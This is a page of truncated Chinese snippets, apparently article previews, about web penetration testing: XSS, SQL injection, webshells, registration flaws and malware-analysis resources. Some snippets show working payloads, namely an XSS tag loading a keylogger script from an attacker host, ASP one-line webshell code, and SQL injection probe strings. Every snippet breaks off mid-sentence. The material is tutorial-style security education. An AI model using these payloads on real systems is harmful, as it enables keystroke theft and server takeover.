XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:service apache2 start 语法:<script src="http://192.168.1.127/keylogger.js"></script> keylogger.js document.onkeypress = function(evt) { ev…

何为sql注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,得到想要得到的信息. OWASPTop 10 此处的注入指:将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入.NoSQL注入.OS 注入和LDAP注入的注入缺陷.攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预 期命令或访问数据.其中包含了sql注入. OWASP组织每三年发布一次Top10的数据来看注入一直位于榜…

一句话木马—— 一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中扮演着强大的作用. 黑客在注册信息的电子邮箱或者个人主页等插入类似如下代码: <%execute request(“value”)%> 其中value是值,所以你可以更改自己的值,前面的request就是获取这个值 <%eval request(“value”)%>(现在比较常见,而且字符少,对表单字数有限制的地方特别有用). 当知道了数据库的url,就可以利用本地一张网页进行连接得到webshell,(不知道…

注:以下漏洞示例已由相关厂商修复,切勿非法测试! 0x01 漏洞挖掘 01  注册 注册中最常见的有两个,一个是恶意注册,另一个是账户遍历.一个好的注册界面应该是这样 或者这样的 而不是这样的 要么使用短信或邮箱进行验证,要么存在难以识别的验证码,使得注册的请求无法批量提交.那么账户遍历是什么意思呢?在注册的时候Web程序往往会有用户名或手机号(或其他什么)检测之类的步骤,以避免相同账号注册两次,比如一般会提示“***用户名已存在!”.我们就可以利用这个步骤去批量尝试一些用户名,如果提示已存在就…

SQL注入 按变量类型分:数字型和字符型 按HTTP提交方式分:POST注入.GET注入和Cookie注入 按注入方式分:布尔注入.联合注入.多语句注入.报错注入.延时注入.内联注入 按数据库类型分: sql:oracle.mysql.mssql.access.sqlite.postgersql nosql:mongodb.redis 布尔型 0x01 检测有无注入 1' and '1'='1 1' and '1'='2 简化版 1' and '1 1' and '0 猜测服务器端查询语句是:s…

一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[SOCKS4.SOCKS5和HTTP代理]] [[Windows - Netch 使用教程]] [[Netch设置端口ip进行转发流量]] [[全能终端神器--MobaXterm]] 通信协议 [[IIOP-百度百科]] 互联网内部对象请求代理协议 二.信息收集 02.信息收集 1.[[信息收集-汇总…

1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 Botnet2.1.3 挖矿2.1.4 勒索软件2.1.5 后门2.1.6 病毒2.1.7 蠕虫2.2 外部资源• VirusTotalhttps://www.virustotal.com/#/home/upload • 样本下载https://www.malware-traffic-analysis…

Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali-linux-web-%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E8%A7%86%E9%A2%91%E6%95%99%E7%A8%8B%E7%AC%AC%E5%8D%81%E4%B8%80%E8%AF%BE-%E6%89%AB%E6%8F%8Fsql%E6%B3%A8%…

[web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问,我们真的了解SQL注入吗?看完本篇文章希望能让你更加深刻的认识SQL注入. 目录 第一节 注入攻击原理及自己编写注入点 1.1.什么是SQL? 1.2.什么是SQL注入? 1.3.SQL注入是怎么样产生的? 1.4.编写注入点 第二节 寻找及…

Xss介绍—— XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安全漏洞中的第二威胁漏洞.也有黑客把XSS当做新型的“缓冲区溢出攻击”而JavaScript是新型的shellcode.2011年6月份,新浪微博爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重.XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的…